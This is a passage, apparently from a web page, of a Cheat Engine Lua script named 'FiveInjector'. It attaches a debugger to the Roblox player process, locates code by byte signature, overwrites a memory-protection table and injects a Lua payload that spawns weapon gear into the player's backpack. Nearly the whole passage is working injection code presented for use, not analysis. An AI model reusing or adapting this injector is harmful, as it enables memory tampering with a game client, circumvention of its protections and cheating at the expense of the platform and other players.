local insrt101 =
game:GetService("InsertService"):LoadAsset(18010691)--awestar
for _, v in pairs(insrt101:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt102 =
game:GetService("InsertService"):LoadAsset(51302649)--swordandshield
for _, v in pairs(insrt102:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt103 =
game:GetService("InsertService"):LoadAsset(10760425)--sparkstaff
for _, v in pairs(insrt103:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt104 =
game:GetService("InsertService"):LoadAsset(73799348)--undoingaxe
for _, v in pairs(insrt104:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt105 =
game:GetService("InsertService"):LoadAsset(73232786)--dragonstaff
for _, v in pairs(insrt105:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt106 =
game:GetService("InsertService"):LoadAsset(73232825)--screeshpotion
for _, v in pairs(insrt106:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt107 =
game:GetService("InsertService"):LoadAsset(73265108)--dualcannon
for _, v in pairs(insrt107:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt108 =
game:GetService("InsertService"):LoadAsset(74385438)--gravitron
for _, v in pairs(insrt108:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt109 =
game:GetService("InsertService"):LoadAsset(74385386)--razevenge
for _, v in pairs(insrt109:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt110 =
game:GetService("InsertService"):LoadAsset(74385418)--glorylauncher
for _, v in pairs(insrt110:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt111 =
game:GetService("InsertService"):LoadAsset(73888479)--spikesplosion
for _, v in pairs(insrt111:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
wait()
if
(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."))then

game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."):remove()
end
end))
end
end))
end) ]==]
local memory = allocateSharedMemory("[ROBLOX]-ScriptTrainer",
string.len(script) + 5);
local mem = toAddr(memory);
local len = toAddr(string.len(script));
local success_catch = writeString(mem, script);
writeBytes(ESP + tonumber("0x" .. GlobalOffset), tonumber("0x" ..
mem:sub(7, 8)), tonumber("0x" .. mem:sub(5, 6)), tonumber("0x" .. mem:sub(3,
4)),tonumber("0x" .. mem:sub(1, 2)));
writeBytes(ESP + tonumber("0x" .. GlobalOffset) + 4, tonumber("0x" ..
len:sub(7, 8)), tonumber("0x" .. len:sub(5, 6)), tonumber("0x" .. len:sub(3,
4)),tonumber("0x" .. len:sub(1, 2)));
--print("[FiveInjector]: Script Execution location " ..
GetAddress(toAddr(ESP), GlobalOffset) .. " with length " .. tonumber("0x" .. len));
pcall(function() debug_removeBreakpoint(EIP); end);
debug_continueFromBreakpoint(co_run);
messageDialog("studio.ashx found and " .. (success_catch and
"Nicholas12323 successful" or "failed to inject."), (success_catch and 2 or 1), 2);
--else
--debug_continueFromBreakpoint(co_run)
--end
end

function Exec()
local unprotect_mem = {00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00,
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 01, 00,
01, 01, 01, 01, 01, 00, 01, 00, 01, 00, 00, 00, 01, 01, 01, 00, 00, 00, 00, 00, 01,
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01, 00,
00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00}
writeBytes("00F24118", unprotect_mem);
pcall(function() object_destroy(Interface.MainFrame); end);
Exploits, Successes, AddressList, Interface = {}, {}, {}, {};
--AddExploit("level", {0x89, 0x74, 0x24, 0x0C, 0x89, 0x06, 0xE8}, 4)
AddExploit("script", {0x83, 0xEC, 0x14, 0x56, 0x57, 0x8B, 0x7C, 0x24, 0x2C,
0x85, 0xFF}, 3)
for i, v in pairs(Exploits) do
local exploit = GetExploit(i);
if (exploit == nil) then
print("[FiveInjector]: Failed \"" .. v[1] .. "\"");
else
pcall(function() debug_removeBreakpoint(exploit); end);
debug_setBreakpoint(exploit);
AddressList[v[1]] = exploit;
table.insert(Successes, v[1]);
print("[FiveInjector]: Success \"" .. v[1] .. "\" [" ..
exploit .. "]");
end
end
print("[FiveInjector]: " .. tostring(#Successes) .. "/" ..
tostring(#Exploits) .. " exploits found.")

if #Successes == #Exploits then


print("[FiveInjector]: Attached successfully. Listening for studio.ashx
now...");
else
messageDialog("[FiveInjector]: Initializing failed. FiveInjector fails
to launch", 1, 2);
end
end

function myCheck(_)
local id = getProcessIDFromProcessName("RobloxPlayer.exe");
if id ~= nil then
for i, v in pairs(NoRun) do
if v == id then
return
end
end
table.insert(NoRun, id);
openProcess(id);
debugProcess(2);
Exec();
else
local id2 = getProcessIDFromProcessName("RobloxPlayerBeta.exe");
if id2 ~= nil then
for i, v in pairs(NoRun) do
if v == id2 then
return
end
end
table.insert(NoRun, id2);
openProcess(id2);
debugProcess(2);
Exec();
end
end
end

t = createTimer(nil)
timer_setInterval(t, 500)
timer_onTimer(t, myCheck)
timer_setEnabled(t, true)

You might also like